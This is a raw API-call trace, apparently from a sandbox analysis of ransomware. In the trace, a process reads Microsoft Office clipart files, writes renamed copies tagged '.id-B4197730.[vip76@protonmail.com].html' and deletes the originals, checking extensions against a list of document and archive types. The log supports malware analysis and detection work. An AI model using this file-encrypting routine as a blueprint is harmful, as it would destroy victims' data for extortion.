	[0190.838] ReadFile (in: hFile=0x5c8, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x10e0, lpOverlapped=0x0) returned 1
	[0190.840] WriteFile (in: hFile=0x5e8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x10f0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x10f0, lpOverlapped=0x0) returned 1
	[0190.841] ReadFile (in: hFile=0x5c8, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.841] WriteFile (in: hFile=0x5e8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.841] SetEndOfFile (hFile=0x5e8) returned 1
	[0190.842] CloseHandle (hObject=0x5e8) returned 1
	[0190.842] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.842] SetEndOfFile (hFile=0x5c8) returned 1
	[0190.845] CloseHandle (hObject=0x5c8) returned 1
	[0190.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.845] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 1
	[0190.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0190.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0190.846] lstrlenW (lpString=".doc") returned 4
	[0190.846] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.846] lstrlenW (lpString=".docx") returned 5
	[0190.846] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0190.846] lstrlenW (lpString=".pdf") returned 4
	[0190.846] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.846] lstrlenW (lpString=".xls") returned 4
	[0190.846] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.846] lstrlenW (lpString=".xlsx") returned 5
	[0190.846] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0190.846] lstrlenW (lpString=".ppt") returned 4
	[0190.846] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0190.846] lstrlenW (lpString=".zip") returned 4
	[0190.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.846] lstrlenW (lpString=".rar") returned 4
	[0190.846] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.846] lstrlenW (lpString=".bz2") returned 4
	[0190.847] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.847] lstrlenW (lpString=".7z") returned 3
	[0190.847] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0190.847] lstrlenW (lpString=".dbf") returned 4
	[0190.847] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0190.847] lstrlenW (lpString=".1cd") returned 4
	[0190.847] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0190.847] lstrlenW (lpString=".jpg") returned 4
	[0190.847] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0190.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0190.847] lstrlenW (lpString=".doc") returned 4
	[0190.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.847] lstrlenW (lpString=".docx") returned 5
	[0190.847] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0190.847] lstrlenW (lpString=".pdf") returned 4
	[0190.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.847] lstrlenW (lpString=".xls") returned 4
	[0190.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.847] lstrlenW (lpString=".xlsx") returned 5
	[0190.847] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0190.847] lstrlenW (lpString=".ppt") returned 4
	[0190.847] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0190.847] lstrlenW (lpString=".zip") returned 4
	[0190.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.848] lstrlenW (lpString=".rar") returned 4
	[0190.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.848] lstrlenW (lpString=".bz2") returned 4
	[0190.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.848] lstrlenW (lpString=".7z") returned 3
	[0190.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0190.848] lstrlenW (lpString=".dbf") returned 4
	[0190.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0190.848] lstrlenW (lpString=".1cd") returned 4
	[0190.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0190.848] lstrlenW (lpString=".jpg") returned 4
	[0190.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.848] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.848] lstrlenW (lpString="J0105332.WMF") returned 12
	[0190.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0190.849] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=10508) returned 1
	[0190.849] CloseHandle (hObject=0x5c8) returned 1
	[0190.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 0x220
	[0190.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0190.850] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.850] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0190.851] GetLastError () returned 0x0
	[0190.851] ReadFile (in: hFile=0x5c8, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x290c, lpOverlapped=0x0) returned 1
	[0190.853] WriteFile (in: hFile=0x5e8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x2910, lpOverlapped=0x0) returned 1
	[0190.854] ReadFile (in: hFile=0x5c8, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.854] WriteFile (in: hFile=0x5e8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.855] SetEndOfFile (hFile=0x5e8) returned 1
	[0190.855] CloseHandle (hObject=0x5e8) returned 1
	[0190.855] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.855] SetEndOfFile (hFile=0x5c8) returned 1
	[0190.858] CloseHandle (hObject=0x5c8) returned 1
	[0190.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.858] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 1
	[0190.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0190.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0190.859] lstrlenW (lpString=".doc") returned 4
	[0190.859] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.859] lstrlenW (lpString=".docx") returned 5
	[0190.859] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0190.859] lstrlenW (lpString=".pdf") returned 4
	[0190.859] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.859] lstrlenW (lpString=".xls") returned 4
	[0190.859] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.859] lstrlenW (lpString=".xlsx") returned 5
	[0190.859] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0190.859] lstrlenW (lpString=".ppt") returned 4
	[0190.859] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0190.859] lstrlenW (lpString=".zip") returned 4
	[0190.859] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.860] lstrlenW (lpString=".rar") returned 4
	[0190.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.860] lstrlenW (lpString=".bz2") returned 4
	[0190.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.860] lstrlenW (lpString=".7z") returned 3
	[0190.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0190.860] lstrlenW (lpString=".dbf") returned 4
	[0190.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0190.860] lstrlenW (lpString=".1cd") returned 4
	[0190.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0190.860] lstrlenW (lpString=".jpg") returned 4
	[0190.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0190.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0190.860] lstrlenW (lpString=".doc") returned 4
	[0190.860] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.860] lstrlenW (lpString=".docx") returned 5
	[0190.860] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0190.860] lstrlenW (lpString=".pdf") returned 4
	[0190.860] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.860] lstrlenW (lpString=".xls") returned 4
	[0190.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.860] lstrlenW (lpString=".xlsx") returned 5
	[0190.860] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0190.860] lstrlenW (lpString=".ppt") returned 4
	[0190.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0190.861] lstrlenW (lpString=".zip") returned 4
	[0190.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.861] lstrlenW (lpString=".rar") returned 4
	[0190.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.861] lstrlenW (lpString=".bz2") returned 4
	[0190.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.861] lstrlenW (lpString=".7z") returned 3
	[0190.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0190.861] lstrlenW (lpString=".dbf") returned 4
	[0190.861] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0190.861] lstrlenW (lpString=".1cd") returned 4
	[0190.861] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68
	[0190.861] lstrlenW (lpString=".jpg") returned 4
	[0190.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.861] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.861] lstrlenW (lpString="J0105336.WMF") returned 12
	[0190.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0190.862] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=2900) returned 1
	[0190.862] CloseHandle (hObject=0x5c8) returned 1
	[0190.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 0x220
	[0190.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0190.863] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.863] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0190.864] GetLastError () returned 0x0
	[0190.864] ReadFile (in: hFile=0x5c8, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0xb54, lpOverlapped=0x0) returned 1
	[0190.866] WriteFile (in: hFile=0x5e8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xb60, lpOverlapped=0x0) returned 1
	[0190.867] ReadFile (in: hFile=0x5c8, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.867] WriteFile (in: hFile=0x5e8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.867] SetEndOfFile (hFile=0x5e8) returned 1
	[0190.867] CloseHandle (hObject=0x5e8) returned 1
	[0190.867] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.867] SetEndOfFile (hFile=0x5c8) returned 1
	[0191.119] CloseHandle (hObject=0x5c8) returned 1
	[0191.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0191.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 1
	[0191.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0191.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0191.371] lstrlenW (lpString=".doc") returned 4
	[0191.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0191.371] lstrlenW (lpString=".docx") returned 5
	[0191.371] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0191.371] lstrlenW (lpString=".pdf") returned 4
	[0191.372] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0191.372] lstrlenW (lpString=".xls") returned 4
	[0191.372] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0191.372] lstrlenW (lpString=".xlsx") returned 5
	[0191.372] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0191.372] lstrlenW (lpString=".ppt") returned 4
	[0191.372] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0191.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0191.372] lstrlenW (lpString=".zip") returned 4
	[0191.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0191.372] lstrlenW (lpString=".rar") returned 4
	[0191.372] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0191.372] lstrlenW (lpString=".bz2") returned 4
	[0191.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0191.372] lstrlenW (lpString=".7z") returned 3
	[0191.372] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0191.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0191.372] lstrlenW (lpString=".dbf") returned 4
	[0191.372] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0191.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0191.372] lstrlenW (lpString=".1cd") returned 4
	[0191.372] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0191.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0191.372] lstrlenW (lpString=".jpg") returned 4
	[0191.372] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0191.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0191.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0191.373] lstrlenW (lpString=".doc") returned 4
	[0191.373] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0191.373] lstrlenW (lpString=".docx") returned 5
	[0191.373] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0191.373] lstrlenW (lpString=".pdf") returned 4
	[0191.373] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0191.373] lstrlenW (lpString=".xls") returned 4
	[0191.373] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0191.373] lstrlenW (lpString=".xlsx") returned 5
	[0191.373] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0191.373] lstrlenW (lpString=".ppt") returned 4
	[0191.373] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0191.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0191.373] lstrlenW (lpString=".zip") returned 4
	[0191.373] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0191.373] lstrlenW (lpString=".rar") returned 4
	[0191.373] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0191.373] lstrlenW (lpString=".bz2") returned 4
	[0191.373] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0191.373] lstrlenW (lpString=".7z") returned 3
	[0191.373] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0191.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0191.373] lstrlenW (lpString=".dbf") returned 4
	[0191.373] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0191.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0191.373] lstrlenW (lpString=".1cd") returned 4
	[0191.373] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0191.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0191.374] lstrlenW (lpString=".jpg") returned 4
	[0191.374] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0191.374] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0191.374] lstrlenW (lpString="J0105384.WMF") returned 12
	[0191.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0192.065] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=5880) returned 1
	[0192.066] CloseHandle (hObject=0x5ac) returned 1
	[0192.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 0x220
	[0192.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0192.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0192.067] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.067] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0192.131] GetLastError () returned 0x0
